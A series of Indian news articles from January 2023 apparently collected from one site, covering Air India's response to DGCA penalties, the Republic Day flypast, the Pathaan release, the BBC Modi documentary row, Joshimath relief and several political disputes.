In a statement, the airline said it accepts that, notwithstanding the mitigating circumstances, based on the letter of the CAR (Civil Aviation Requirement) it did not correctly classify the incident and therefore did not report it as required.

"The crew and ground staff have been issued warning letters to henceforth adhere strictly to CAR definition of 'unruly' when reporting incidents onboard so that later investigation can assess the facts. The cabin crew and ground staff have been counselled and have since returned to duty," it said.

Also read - DGCA Slaps Rs 10 Lakh Fine on Air India for Not Reporting Smoking, Peeing Incidents on Paris-Delhi Flight

In light of the mitigating circumstances and the financial detriment already incurred by the crew during their period of de-rostering, Air India said it deems the license suspension of the Commander excessive and will be assisting him with an appeal.

"Air India wishes to acknowledge the good faith efforts made by the crew to handle the situation effectively in real-time when not all facts were available. It also notes that a contemporaneous written statement by a fellow business class passenger includes an explicit commendation of the actions of the cabin crew and that his criticism of the pilot was in the context of not having been granted an upgrade," the statement said.

On January 21, PTI reported that Air India's wide-body pilots' body Indian Pilots Guild (IPG) was mulling legal recourse and other options regarding the suspension of the pilot's license for three months by DGCA.

Giving a detailed account of the post-incident, Air India said the crew were approached by the complainant seeking assistance after allegedly being urinated on by a fellow passenger.

"In the absence of any witnesses, the crew took the complainant's allegation at face value and assisted her by providing fresh clothes, helping clean her belongings and relocating her to another business class seat of the same type as her original one. When awoken and confronted with the allegation, the alleged perpetrator was calm, co-operative and professed ignorance of the allegation," it said.

Also read - Mumbai Airport Installs Barcode Scanners to Read Boarding Pass for Quicker Passenger Flow

The airline also clarified that the accused passenger had not been served "excessive alcohol" by the crew and did not appear "intoxicated" to the crew.

It also said that the commander was kept regularly informed by the cabin crew.

"In the judgement of the crew, the alleged perpetrator posed no risk to flight safety at any time," Air India said.

Acknowledging that, in immediately taking the complainant's accusation at face value and providing assistance, it follows that the matter should have been reported as a prima facie case of a passenger "? behaving in a disorderly manner toward? other passengers".

The matter should have been classified and reported as such, without prejudice to any subsequent investigation into the facts, Air India said.

Noting that upon receipt of the voyage report, the airline said ground staff "did not challenge the crew's assessment" and, therefore, it also "did not report the matter as an unruly incident".

According to the airline, "based on the absence of witnesses to the alleged act, that the alleged perpetrator was peaceful, co-operative and claiming ignorance of the event, that there was no risk to flight safety and that a resolution had been witnessed between the parties, the crew made a judgement call to record the matter as an (non-reportable) in-flight incident rather than a (reportable) case of unruliness".

Further, Air India said that in the absence of witnesses to the alleged act, the crew were being asked to make a "presumption of the accused guilt which runs contrary to natural justice and due process".

In connection with the urination incident, the accused Shankar Mishra is in jail now.

With inputs from PTI
DGCA, the nodal aviation body in India once again slapped a monetary fine on Air India over unruly passenger behaviour. The Directorate General of Civil Aviation has fine Tata-owned Air India Rs 10 lakh for not reporting two incidents onboard Paris-New Delhi flight last year. This incident occurred within few days of the urination incident on New York-Delhi flight.

As per reports, unruly behaviour of two passengers were overlooked by Air India on Paris-New Delhi flight. While one passenger smoked inside the lavatory of the flight (smoking is banned inside the plane), another drunk passenger relieved himself on a blanket kept on an empty seat.

This fine comes within days of DGCA slapping first-of-its-kind fine of Rs 30 lakh on Air India for mishandling of the peeing incident in New York-Delhi flight. The incident, which occurred on November 26, 2022 garnered a lot of media attention, resulting in the arrest of Shankar Mishra, accused of urinating on an elderly woman in the flight in an inebriated condition.

Apart from Rs 30 lakh fine on the Air India, DGCA also fined Rs 3 lakh on Air India's Director of in-flight services for failing to discharge her duties. DGCA also suspended the license of the pilot-in-command for three months.
Republic Day 2023: Like every year, the govt will host a grand Republic Day parade on January 26, 2023, to showcase the military and cultural might of India. What's special this year is the fact that the this will be the first Republic Day celebrations hosted at the ceremonial boulevard after Rajpath was renamed Kartavya Path last year. The 74th Republic Day Parade will also see one of the biggest contingent from the Indian Air Force, who will put on display a massive fleet of fifty aircrafts. Among these fifty aircrafts including a variety of fighter jets, helicopters and cargo planes will be the Rafale Fighter Jet.

57 aircraft from 7 different airfields flying at speeds varying from 120 to 900 kmph.



A glimpse at what it takes to present to you the precisely synchronised aerial ballet over #KartavyaPath.#RepublicDay2023



This clip has been modified for public viewing. pic.twitter.com/ba1G11Fxuu  Indian Air Force (@IAF_MCC) January 24, 2023

Rafale fighter jet at Republic Day

For the first time ever, the Indian Air Force will display nine Rafale aircrafts, all of which will be a part of the grand flypast during the celebrations, an IAF official said. The Dassault-made French fighter jet is a multi role 4.5 gen aircraft and the most advanced jet with the Indian Air Force. Although Rafale has been part of previous R-Day celebrations in 2021 and 2022, this is the first time 1/4th of the total Rafale fleet will take part in flypast.

The first batch of five Rafale jets arrived in India on July 29, 2020, nearly four years after India signed an inter-governmental agreement with France to procure 36 of the aircraft at a cost of Rs 59,000 crore. France has delivered all 36 fighter jets to India, and two squadrons, one in North and one in South of 18 jets each have been formalized by the IAF.

IAF formations

"Four Rafale will be part of the Netra formation and four others in Vajrang formation with a C-130 aircraft, an one will perform the 'Vertical Charlie' at the end of the flypast," he added. Asked what all will be showcased during the flypast for the first time, the IAF official said, besides the IL-38 naval aircraft, the formations like 'Bheem' and 'Vajrang' will be showcased over the Kartavya Path for the first time.

In the 'Bheem' formation, a C-17 aircraft will be flanked by two Su-30s. And, then in the 'Vajrang' formation, a C-130 aircraft will be flanked by four Rafale aircraft, he said. "During the IAF Day, we had a similar formation, but the C-130 aircraft was flanked by Su-30s," the official said. Other aerial formations during the flypast will include 'Dhawj', 'Rudra', 'Baaz', 'Prachand', 'Tiranga', 'Tangail', 'Garuda', 'Amrit' and 'Trishul'.

Indian Navy IL-38 aircraft

Apart from Rafale, all eyes will be on the Ilyushin 38 aircraft, which was commissioned into the Indian Navy in 1977 and is a long-range surveillance and anti-submarine warfare aircraft. Navy's IL-38 will be showcased at the event for the first and perhaps the last time, a senior IAF official said. IL-38 is a maritime reconnaissance aircraft of the Indian Navy that has served for nearly 42 years, he said.

"It will be showcased during the Republic Day celebrations here for the first time and perhaps the last time. It will be among the 50 aircraft that will take part in the event," the IAF official said. Known as the Winged Stallions, the IL 38SDs, the oldest maritime surveillance aircraft in the Indian inventory, will be decommissioned by the end of this year. These Russian-made planes will be replaced by the US-made Boeing P8.

The IL-38 provided the Indian Navy with modern maritime reconnaissance and fixed-wing Anti-Submarine Warfare (ASW) capability. These were 5 Ilyushin 38s inducted in the Navy. The maritime aircrafts added airborne long-range maritime reconnaissance capabilities to the Indian Navy, combined with long-range anti-submarine search and strike, anti-shipping strike, electronic signal intelligence and distant search and rescue missions.

With PTI inputs
New Delhi: The most awaited film in Indian cinema after a long time, Pathaan, is part of Aditya Chopras ambitious spy universe and has superstars like Shah Rukh Khan, Deepika Padukone and John Abraham in it. Yash Raj Films adrenaline pumping entertainer, Pathaan, is set to release worldwide tomorrow, january 25, in Hindi, Tamil and Telugu and it has already created a new record in the overseas territories.

Pathaan will release in more than 100 countries, the highest for any Indian film ever! Nelson D'Souza, Vice President, International Distribution, reveals, Pathaan is the widest release for any YRF film ever in the overseas territories. In fact, it is the widest release for an Indian film globally! Shah Rukh Khan is hands down the biggest superstar internationally and there is unparalleled demand for Pathaan to be released across the world given the hype that the film is carrying.

He adds, This is a very heartening sign, especially post pandemic, keeping the theatrical business revival in mind. Pathaan will release in 100 + countries. It is the fourth film of YRFs spy universe and it is amazing to see how our prized franchise is growing from strength to strength with every film. We are very bullish about Pathaan and what it can collect from the overseas territories. It should be able to bring the cheer back in the theatrical distribution business at the start of the year.

Watch Pathaan's trailer here

The hype around Pathaan is unprecedented. All the assets of the film that YRF has released so far have turned out to be super-hits right from the teaser, the two songs - Besharam Rang & Jhoome Jo Pathaan - and the recently dropped trailer that has caused an internet meltdown!

Another huge reason for the buzz around Pathaan is because two of the biggest megastars of the country Shah Rukh Khan and Deepika Padukone are teaming up in Yash Raj Films Pathaan. They are one of the most-loved on-screen pairings in Bollywood, given their blockbusters Om Shanti Om, Chennai Express and Happy New Year.
New Delhi: The most awaited film in Indian cinema after a long, long time, Pathaan, is part of Aditya Chopras ambitious spy universe and has the biggest superstars of the country Shah Rukh Khan, Deepika Padukone and John Abraham in it. YRFs adrenaline-pumping entertainer, Pathaan, is set to release worldwide tomorrow in Hindi, Tamil and Telugu and now Katrina Kaif aka Zoya from Tiger has joined the promotion campaign by asking audiences to not give out spoilers from this edge-of-the-seat entertainer!

Katrina wrote on her social media page, My friend Pathaan is on a dangerous mission. It is very important in the interest of national security that you dont reveal anything about this. You are all part of this classified mission now. Zoya.

The hype around Pathaan is unprecedented. All the assets of the film that YRF has released so far have turned out to be super-hits right from the teaser, the two songs - Besharam Rang & Jhoome Jo Pathaan - and the recently dropped trailer that has caused an internet meltdown!

Another huge reason for the buzz around Pathaan is because two of the biggest megastars of the country Shah Rukh Khan and Deepika Padukone are teaming up in Yash Raj Films Pathaan. They are one of the most-loved on-screen pairings in the history of Indian cinema, given their epic blockbusters Om Shanti Om, Chennai Express and Happy New Year.
Honda Activa is the highest-selling product of Japanese two-wheeler manufacturer in our country. It, in fact, is the top-selling scooter in India. The Activa manages to garner hefty sales numbers every month with its no-nonsense attitude. The company has recently updated the scooter with a new remote key. During the launch, the manufacturer confirmed the arrival of a fully-electric version of the Honda Activa by the year 2024. The Activa Electric will also mark the companys entry in the Indian electric two-wheeler market. Although it will be slightly later than competitors, we can expect Honda to offer a fuss-free ownership experience with the electrified Activa as is the case with its ICE counterpart.

The Activa Electric is expected to utilize a fixed battery pack to power the electric motor. Once it goes on sale, it will rival the likes of the TVS iQube, Bajaj Chetak and more. The Honda Activa Electric is said to have a top speed of around 50 kmph. Yes, it is lower than the rivals, however, the electrified Activa will just be an entry point for the Japanese brand in the electric two-wheeler business.

Also read - Ola S1 Pro Electric Scooter Suspension Breaks at 35 kmph Speed, Wheel Pops Out

Honda will launch another electric scooter for the Indian audience after the Activa Electric. It will be a mainstream product and will be designed to take the leadership charge from the Activa. As per reports, the new scooter will come with swappable battery packs.

The company is already working on battery-swapping infrastructure, which it has started under the Honda Power umbrella. Around 6,000 charging stations are to be installed at various HPCL outlets. As of now, this network is small but serves three-wheelers. Also, Honda could possibly be offering a subscription model for the battery pack to keep the cost of the scooter lower than the competition.
In late 2016, the Colombian government ratified a peace agreement that ended a bloody conflict between the government of Colombia and the Revolutionary Armed Forces of Colombia, or FARC. The conflict lasted for over five decades and cost around 260,000 Colombian lives, with another 80,000 people missing.

The United States has a long history of supporting the Peace Accord, and we value its achievements. So it is that we see four areas of progress as well as obstacles to peace that must be addressed with urgency, said U.S. Ambassador to the United Nations Linda Thomas-Greenfield.

First, the United States welcomes the Petro Administrations expressed commitment to fully realize the objectives of the Ethnic Chapter. The Ethnic Chapter sets a vision for an inclusive peace, one that addresses a history of inequity and ensures the rights of Afro-Colombians and Indigenous people going forward. This is a vision that the United States shares and that weve long worked to help make a reality.

Second, the United States supports rural reform efforts to distribute property to farmers without land, said Ambassador Thomas-Greenfield. Third, we continue to support the ongoing transitional justice process. We support this effort and condemn any actions that threaten the peace process. All victims of Colombias conflict deserve justice.

Fourth, we are encouraged by Colombias effort to broaden democratic political participation. We should not lose sight of how significant it is to see former combatants participating in the political process, she said.

But while these four developments are cause for optimism, there is still work to be done, said Ambassador Thomas-Greenfield. Illicit drug production continues to fuel violence in conflict-affected areas.

All acts of violence  whether they are attacks against Colombian security forces, Indigenous and Afro-Colombian communities, former combatants, or human rights and environmental defenders  impede progress, she said. And they impede peace. Authorities must act to combat illicit drug production, reduce violence, and ensure illegal armed groups are held accountable.

The United States is fully committed to supporting Colombia in this vital work, said Ambassador Thomas-Greenfield. We must all continue to stand with Colombia in its efforts to consolidate lasting peace after decades of conflict.
New Delhi: What may further escalate the war or words between Delhis ruling Aam Aadmi Party and the Centre, the former has strongly opposed the proposal of One Nation, One Election, calling it unconstitutional'' and ''against the principles of democracy. The Arvind Kejriwal-led party held a press conference on Monday during which it said that the Centres proposal is a ''front to legitimise BJP`s alleged 'Operation Lotus' and legalise the sale and purchase of MLAs.''

Addressing the press conference, senior AAP leader and MLA Atishi said, If no party gets a majority, then MLAs and MPs can elect CMs and PM through a direct presidential-style vote.

WHY IS AAP OPPOSING 'ONE NATION, ONE ELECTION'?

Delhis ruling party has submitted a 12-page reply to National Law Commission, highlighting its concerns against the proposal for One Nation One Election. The Parliament has the power to amend the Constitution. Still, it cannot alter its basic structure, as held by a 13 judge-bench of SC in the landmark judgement of Kesavananda Bharati case, the AAP MLA said.

Training her guns at the BJP-led dispensation at the Centre, Atishi said, "The basic structure of the constitution warrants the country a parliamentary form of democracy. The legislature can scrutinise the government through questions, resolutions, no-confidence motions, adjournment motions and debates. The government lasts until the time it has the confidence of the house. But in the One Nation One Election plan, this whole concept gets altered."

The AAP MLA said that if the proposal is cleared then the resource-and-cash-rich parties will suppress the issues of states with the help of money and muscle power, and also the decision of voters will be affected if simultaneous elections of the Lok Sabha and assemblies are held.

   Law Commission   One Nation, One Election   



2022         



            



 One Nation, One Election         



-@AtishiAAP pic.twitter.com/e4qLSUMgVO  AAP (@AamAadmiParty) January 23, 2023

"The elections are held simultaneously then state-centric issues will get absolved from the public discourse because it will become a game controlled by powerful and resource-rich parties," the AAP spokesperson stated.

"There are patterns that indicate that various sections of the society vote for two completely different parties in the state and centre elections. Elections rather than being a democratic exercise will become a game of money and muscle. This process will replace the Parliamentary system in its spirit and principle" she continued.

Atishi also said, "By introducing the "constructive vote of no-confidence", simultaneous elections will undermine democracy and the people`s right to elect their representatives and hold them accountable. In today`s situation, elections are held again and the people have the right to take their decision again. And the public can elect a new government by voting again. But in the `One Nation, One Election` system, people will have to wait till the next election."

"There is another very dangerous thing in this proposal which is called 'Constructive vote of no confidence' i.e. if any government falls after a no-confidence motion, then the same Chief Minister or Prime Minister will remain in his post until someone else forms his government. This means that governments can run for many years despite not having a majority in the House, as elections can only be held after five years," she added.

The MLA said, "The Proposed mechanism for selection of PM/CM in case of hung parliament/assembly is impractical, dangerous and will lead to the institutionalised defection of legislators. The most dangerous aspect of the proposal of `One Nation, One Election` is that `if suppose no one`s government is formed or no party gets majority then how will the Prime Minister or Chief Minister be elected. Because elections can be held only after 5 years, in this situation, buying and selling of MLAs will be legal and constitutional."

She concluded by saying."Overall, to save Rs 5,000 crore rupees in 5 years i.e. to save the expenditure of one thousand crore rupees in one year, the democracy of our country, and the people`s rule are being put in danger today. Aam Aadmi Party strongly opposes this proposal of `One Nation, One Election`. It is unconstitutional and it is against the principle of democracy."

The response from the Arvind Kejriwal-led party has come a month after the Law Commission issued a public notice seeking comments from stakeholders, including political parties and the Election Commission, on the proposal to hold simultaneous elections in the country.

(With Agency Inputs)
Washington: In yet another twist to the controversy over the BBC documentary on PM Narendra Modi and the 2002 Gujarat riots, the United States has said that it is not familiar with it while reiterating that its only familiar with the shared values with India. US State Department spokesperson Ned Price, in an official statement, said, Washington shares an exceptionally deep partnership with New Delhi based on values that are common to both the US and Indian democracies.

When questioned by a Pakistani journalist on the BBC documentary, Price said, I'm not familiar with the (BBC) documentary (on 2002 Gujarat riots) you're referring to. I am very familiar with the shared values that connect the United States and India as two thriving, vibrant democracies. Price further stated that there are numerous elements that bolster the US` global strategic partnership with India which include political, economic and exceptionally deep people-to-people ties.

Calling India`s democracy a vibrant one, Price said "we look to everything that ties us together, and we look to reinforce all of those elements that tie us together," as he underlined the diplomatic ties that US and India share with each other.

The BBC documentary on Prime Minister Narendra Modi and the 2002 Gujarat riots has sparked controversy since its release. Last week, UK Prime Minister Rishi Sunak defended Prime Minister Narendra Modi and distanced himself from the BBC documentary series, saying he "doesn`t agree with the characterisation" of his Indian counterpart.

Sunak made these remarks on the controversial documentary that was raised in the British Parliament by Pakistan-origin MP Imran Hussain. "The UK government`s position on this has been clear and longstanding and hasn`t changed, of course, we don`t tolerate persecution where it appears anywhere but I am not sure I agree at all with the characterisation that the honourable gentleman has put forward to," Sunak said while responding to Hussain`s question on the BBC report.

BBC documentary row: How it started?

UKs national broadcaster BBC aired a two-part series attacking PM Narendra Modi`s tenure as Gujarat Chief Minister during the Gujarat riots of 2002. The documentary sparked outrage and was removed from select platforms. The Ministry of External Affairs responded to the BBC story by claiming that it was entirely biased. While addressing a weekly presser in New Delhi, MEA spokesperson Arindam Bagchi said, "We think this is a propaganda piece. This has no objectivity. This is biased. Do note that this hasn`t been screened in India. We don`t want to answer more on this so that this doesn`t get much dignity."

He even raised questions on "the purpose of the exercise and the agenda behind it."The documentary is a reflection of the agency and individuals that are peddling this narrative again. It makes us wonder about the purpose of the exercise and the agenda behind it; frankly, we do not wish to dignify these efforts," he added.

Referring to apparent remarks made by former UK Secretary Jack Straw in the documentary series, Bagchi said "He (Jack Straw) seems to be referring to some internal UK report. How do I have access to that? It`s a 20-year-old report. Why would we jump on it now? Just because Jack Straw says it how do they lend it that much legitimacy."

Back home, Union Law Minister Kiren Rijiju called the BBC documentary a malicious campaign and said that such things cant tarnish Indias global image.

The Centre last week denounced the controversial BBC documentary series on Prime Minister Narendra Modi, describing as a `propaganda piece` designed to push a discredited narrative. The Centre also directed social media platforms Twitter and YouTube to block links to the documentary titled "India: The Modi Question"

The government told YouTube and Twitter to take down fresh links to the documentary if someone uploads or tweets them again, sources said. However, opposition parties have opposed the move and claimed the documentary has "exposed" PM Modi. A Supreme Court-appointed investigation had found no evidence of wrongdoing by PM Modi, who was chief minister of Gujarat when the riots broke out in February 2002.

(With Agency Inputs)
Chhatarpur: Dhirendra Krishna Shastri, the self-styled godman of the Bageshwar Dham, has received death threats, and a case has now been registered against an unknown person. According to the police officials, Shastri received the threats over the phone. "A case under section 506, 507 of the Indian Penal Code was registered against an unknown person in Chhatarpur`s Bamitha police station," said Superintendent of Police (SP) Sachin Sharma. He, however, added that the accused is yet to be identified.

Who Is Dhirendra Krishna Shastri?

Dhirendra Shastri hit headlines after he made a controversial remark saying "support me and I will give you a Hindu nation". Shastri, who is also known as Bageshwar Dham Sarkar, said that India is such a country where even a great sage like Goswami Tulsidas, who wrote the "Ramcharitmanas," had to face challenges.

Shastri also issued a warning saying, "Any priest, cleric or person who challenges the Sanatan Dharma will get a befitting reply. But then I am saying, you support me, I will give the Hindu nation," he appealed to his vast followers.

On January 20, a Maharashtra-based organisation challenged him to display his power by performing miracles at an event in Nagpur. Responding to the challenge, Shastri told news agency ANI in Raipur, "Such people will keep coming. We do not operate within closed doors. They (people who have challenged him) should come and see for themselves. Anyone can challenge my words and actions on camera. Lakhs come and sit in the court of Bageshwar Balaji. Whatever inspires me, I will write and what I write, will turn out to be true. I have faith in my God."

When quizzed about the chit in which he predicts the future of his devotees, Shastri said, "I have acquired the skill by the grace of God, our Gurus and the power of the mantras of Sanatan Dharma."

"Everyone should experience it. This is the proclamation of Satya Sanatan Dharma," he added. On whether action should be taken against people tarnishing his image and questioning his powers, he said, "They have tarnished my image. The people of Bageshwar Dham will give them a fitting reply. Anyone speaking against Sanatan Dharma will be boycotted."

On alleged religious conversions, Shastri said, "We are making Hindus return to the religion they acquired at birth. Some people are creating a nuisance. They have to be taught a lesson. As long as I am alive, I will make all Sanatani Hindus return to their original faith."

Several top BJP leaders, including Kailash Vijayvargiya and Kapil Mishra, have come out in support of 26-year-old 'godman'. who is known to travel across the country for religious addresses known as "katha".
Nagrota: Senior Congress leader Digvijaya Singh, who has sparked a bitter controversy by questioning the authenticity of the 2019 surgical strikes, has now softened his stance and maintained that he has deepest regards for the countrys defence forces." Trying to put an end to the row, the veteran Congress politician said, "I have got the greatest regard for the Defence forces" as his party leaders marched forward along with other padayatris of the Rahul Gandhi-led Bharat Jodo Yatra in Jammu and Kashmir.

Facing criticism from several quarters, Congress too issued a statement saying all that needed to be said has already been done, and the questions should now be directed at the Prime Minister. Congress spokesperson Jairam Ramesh said this while lashing out at the media on Tuesday - a day after Singh stirred up the hornet`s nest by saying that there is no proof of 2019 Surgical Strikes.

Singhs party has distanced itself from him as Congress in-charge of Communication, Jairam Ramesh told the media while walking for the Bharat Jodo Yatra in Jammu and Kashmir that the "views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress."

The views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress. Surgical strikes were carried out before 2014 by UPA government. Congress has supported & will continue to support all military actions that are in the national interest.  Jairam Ramesh (@Jairam_Ramesh) January 23, 2023

Ramesh also refrained from answering any further questions and said that "We have answered all the questions." "You go and ask the Prime Minister the questions," said Jairam Ramesh. "Congress party has said whatever it wanted to. I tweeted yesterday regarding the same. I do not want to say anything other than this," he said.

Taking to Twitter, Ramesh claimed on Monday that even the Congress-led UPA government had carried out surgical strikes. "The views expressed by senior leader Digvijaya Singh are his own and do not reflect the position of Congress. Surgical strikes were carried out before 2014 by the UPA government. Congress has supported and will continue to support all military actions that are in the national interest," Ramesh tweeted.

             ,     2014                           January 23, 2023

His tweet and reactions came shortly after Singh said there is no proof of the 2019 surgical strike against Pakistan, while the Centre claims to have carried out the attack. "They (Centre) talk about surgical strikes and that they have killed so many of them but there is no proof," said Digvijaya Singh in his address in Jammu on Monday.

On February 14, 2019, a CRPF convoy was attacked by militants in Kashmir`s Pulwama, in which 44 Indian jawans lost their lives. Striking back, on February 26, 2019, Indian Air Force fighter jets targeted an advanced terror training camp of Jaish-e-Mohammed in Pakistan`s Balakot.

The day after, Islamabad attempted to target Indian military installations but was thwarted by the IAF. Bharatiya Janata Party has alleged that the opposition party has been "blinded" by its "hate" for Prime Minister Narendra Modi and has "insulted" the armed forces while adding that such statements are made at the behest of the top leadership of Congress.

BJP national spokesperson Gaurav Bhatia said that it has become a "character" of the Congress party to make "irresponsible remarks". Union Minister Jyotiraditya Scindia listed out Digvijaya Singh`s alleged controversies and said that he has added "one more to his list of anti-national activities".

Political analyst and Congress supporter Tehseen Poonawalla came down heavily on Digvijaya Singh's remark calling it a `self-goal` for the party. He said these are the `same` people who keep on doing the same things that are `destroying` the party. "The same people keep doing the same things and scoring self-goals. On one hand, the Hon`ble PM is naming 21 islands after those decorated with #ParamVirChakra and on the other hand, on #ParakramDivas, questioning surgical strikes. It`s the same people, every time, destroying the party!" he said in the tweet.
New Delhi: Egyptian President Abdel Fattah El-Sisi arrived here on Tuesday for a three-day state visit focused on enhancing bilateral ties in a range of areas, including agriculture, digital domain, and trade. Prime Minister Narendra Modi and Sisi will hold wide-ranging talks on Wednesday (January 25). Following the talks, the two sides are expected to ink half a dozen agreements to boost ties in a number of areas, people familiar with the matter said. The 68-year-old influential Arab leader will grace the Republic Day celebrations on January 26.

Sisi will be accompanied by a high-level delegation that will include five ministers and senior officials. The Egyptian president visited India in October 2015 to participate in the third India-Africa Forum Summit which was followed by his state visit in September 2016.

Also read: Republic Day 2023: Mumbai Police Declares Shivaji Park 'No-Fly' Zone Amid Aerial Attack Suspicion on January 26

This is for the first time that the President of Egypt has been invited as the chief guest to India's Republic Day celebrations. A military contingent from the Egyptian Army will also participate in the Republic Day parade.

Sisi will be accorded a ceremonial welcome at the Rashtrapati Bhavan on Wednesday ahead of his talks with Modi. External Affairs Minister S Jaishankar will also call on Sisi. "The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt," the Ministry of External Affairs (MEA) said in a statement on Saturday.

India is keen to further expand ties with Egypt, a key player in the politics of both the Arab world as well as Africa. It is also seen as a major gateway to markets in Africa and Europe. The MEA said the multifaceted relationship between the two countries is based on shared cultural values, commitment to foster economic growth, collaboration in the fields of defence and security, and convergence on regional and global issues.

The bilateral trade between the two sides has been on an upswing in the last few years. The bilateral trade between India and Egypt achieved a "record high" of USD 7.26 billion in 2021-22, according to the MEA. More than 50 Indian companies have invested around USD 3.15 billion in diverse sectors of the Egyptian economy, including chemicals, energy, textile, garment, agri-business, and retail.

(With inputs from PTI)
Uttarakhand Governor Gurmit Singh has addressed popular social media motivation platform TEDx, sharing his views on development of Uttarakhand, via use of Artificial Intelligence, Machine Learning, Metaverse.

Singh also shared his views on importance of Women Empowerment, Education and Ayurveda in creating a bright future for India. The TEDx Mussoorie event was Conducted at Raj Bhawan, Dehrudun, first ever TEDx event to be organized at a Governor's office across the country.

The Uttrakhand Governor quoted Prime Minister Narendra Modis speech, where the latter had opined that "third decade of the 21st century belongs to Uttarakhand." Apart from this, the Honourable Governor inspired youth to take interest in all the topics discussed at TEDx Mussoorie since all of them are key areas that determine the future of this country.

Vivek Mehra, the Organiser of TED Mussoorie said, I am truly delighted with the way this event has turned out. First and foremost, I would like to dedicate the success of TEDx Mussoorie to His Excellency Lt Gen Gurmit Singh, because of whose blessings and support this event could not have been possible."

"Secondly, I would like to thank the staff of RajBhawan Dehradun for their cooperation and constant support before and during the event. Thirdly, I would like to thank all the eminent speakers who discussed their ideas at TEDx Mussoorie and our entire team, he added.

Bhavpreet Singh, another Organiser of the event, said: "The aim of TEDx Mussoorie was to spread ideas about working in the right direction today for a better future. Our speakers helped us achieve that aim with their vast and diverse ideas about Ayurveda, Technology, Artificial Intelligence, Mind Power, Medicine, Education, etc."
New Delhi: Amid a row over the controversial BBC documentary on Prime Minister Narendra Modi and 2022 Gujarat riots, the Jawaharlal Nehru University (JNU) has warned students its screening, saying that such "unauthorized activity" may "disturb peace and harmony" of the university campus. The university administration also warned strict action will be taken against the students who defy the order and screen the controversial documentary, which has been already banned by Centre.

The warning from the prestigious university came after a group of students released a pamphlet for the screening of the documentary on Tuesday. According to an advisory issued by the JNU administration, students representing the name of Jawaharlal Nehru University Students` Union have not sought permission for the screening of "India: The Modi Question", the BBC documentary, from the administration.

The JNU advisory further stated that such "unauthorized activity" may "disturb peace and harmony" of the University campus. "It has come to the notice of the administration that a group of students have in the name of JNUSU released a pamphlet for screening a documentary/movie "India: The Modi Question" scheduled for 24th January 2023 at 9:00 p.m. in Teflas," the advisory said.

"No prior permission for this event has been taken from the JNU Administration. This is to emphasize that such an unauthorized activity may disturb peace and harmony of the University Campus," it added.

The administration advised the individuals to cancel the screening warning of strict action against them upon the non-compliance with the advisory. "The concerned students/individuals are firmly advised to cancel the proposed programme immediately, failing which strict disciplinary action may be initiated as per the University rules. This issues with the approval of the Competent Authority," it said.

It may be recalled that last week, the Centre denounced the controversial BBC documentary series on Prime Minister Narendra Modi, describing as a `propaganda piece` designed to push a discredited narrative.

"We think this is a propaganda piece designed to push a particular discredited narrative. The bias and lack of objectivity and frankly continuing colonial mindset are blatantly visible," External Affairs Ministry spokesperson Arindam Bagchi said during a weekly media briefing.

The MEA spokesperson added that the documentary is a reflection of individuals that are peddling this narrative again. Meanwhile, in a strong response to the BBC documentary, more than 300 eminent Indians, including retired judges, bureaucrats, and armed forces veterans signed a statement slamming the British national broadcaster for showing "unrelenting prejudice" towards India and its leader.

(With Agency Inputs)
Joshimath: The District Magistrate of Chamoli, Himanshu Khurana, said on Tuesday (January 24) that the Central Building Research Institute (CBRI) has been building one, two, and three BHK model pre-fabricated huts for the displaced families of Joshimaths land subsidence-affected in Uttarakhand. "The Central Building Research Institute (CBRI) is building one, two, and three BHK model prefabricated huts for the displaced families in Joshimath, Uttarakhand, on land located near the Department of Horticulture, Herbal Research and Development Institute (HDRI)," DM Himanshu Khurana said.

He has also instructed the executive body to speed up the work by inspecting the site and added that the land has also been selected in Dhak, where the construction will be started in a short time. "For this, the Disaster Department has released Rs 2 crore 14 lakhs," he said further.

Also read: Joshimath sinking: Fresh cracks appear on Badrinath National Highway as Uttarakhand crisis intensifies

Apart from the construction of pre-fabricated structures, the administration has also been evaluating several options for the permanent resettlement of the families. "One option is to give people money and freedom to settle wherever they want. The second option is to find alternative sites and make land available," he said.

On Monday (January 23), Secretary Disaster Management, Ranjit Kumar Sinha while addressing a media briefing said, an amount of Rs 3.45 crore has been distributed to 261 affected families in Joshimath as interim relief. Secretary Disaster Management also informed that the initial discharge of water in Joshimath which was 540 LPM on January 6, 2023, has now been reduced to 180 LPM.

In the temporarily identified relief camps, Joshimath has a total of 656 rooms with a capacity of 2,940 people and Pipalkoti has 491 rooms with a capacity of 2,205 people. According to the administration, till January 22 cracks were noticed in 863 buildings.

The DM had informed that 1 area/ward has been declared unsafe in Gandhinagar, 2 in Singhdhar, 5 in Manohar Bagh, and 7 in Sunil. 181 buildings are located in unsafe areas. A total of 278 families have been temporarily displaced in view of security. The number of displaced family members is 933.

(With inputs from ANI)
Amidst the confrontation between the Modi government and the judiciary, Union Law Minister Kiren Rijiju has once again targeted the collegium system for the appointment of judges. According to a report in the English newspaper The Hindu, the Union Minister has said that judges do not have to face elections nor do they have to face public criticism after becoming judges.

The Union Minister also emphasized that even though the public cannot change the judges, the public sees the decisions of the judges and the way they deliver justice. However, the Indian Express newspaper has written that the Union Law Minister has categorically denied that there is a tussle between the government and the judiciary. Kiren Rijiju said that he is constantly in touch with Chief Justice DY Chandrachud and discusses every issue, big or small, with him. He made it clear that there is no 'Mahabharata' between the Modi government and the judiciary.

However, Law Minister Kiren Rijiju on Tuesday said that it is a 'matter of serious concern' to make public the secret inputs of intelligence agencies received by the Supreme Court Collegium on the appointment of judges in the court. Rijiju said on Tuesday that some parts of sensitive reports by intelligence agencies Research and Analysis Wing (RAW) and Intelligence Bureau (IB) were placed in the public forum and it is wrong to do so. Rijiju said, "Putting out secret and sensitive reports of RAW or IB in the public domain is a matter of grave concern, to which I will react at an appropriate time."

Let us inform you that, last week, the Supreme Court collegium headed by the Chief Justice DY Chandrachud, published on the Supreme Court website the government's objections to the elevation of three candidates for judge and its own counter.
NEW DELHI: Congress MP Rahul Gandhi on Tuesday disapproved his party colleague Digvijaya Singhs remarks that there are no proof surgical strikes conducted by the Centre in 2019 and reiterated that the armed forces do their job exceptionally well. The Congress leader also made it clear that the remarks made by Digvijaya Singh are his personal remarks and not the partys position on the issue

Addressing a press briefing, the Congress MP from Wayanad said, We don't appreciate Digvijaya Singh's personal views. His views are outlying views. We are absolutely clear that the Armed Forces do their job exceptionally well and they do not need to provide proof of that.

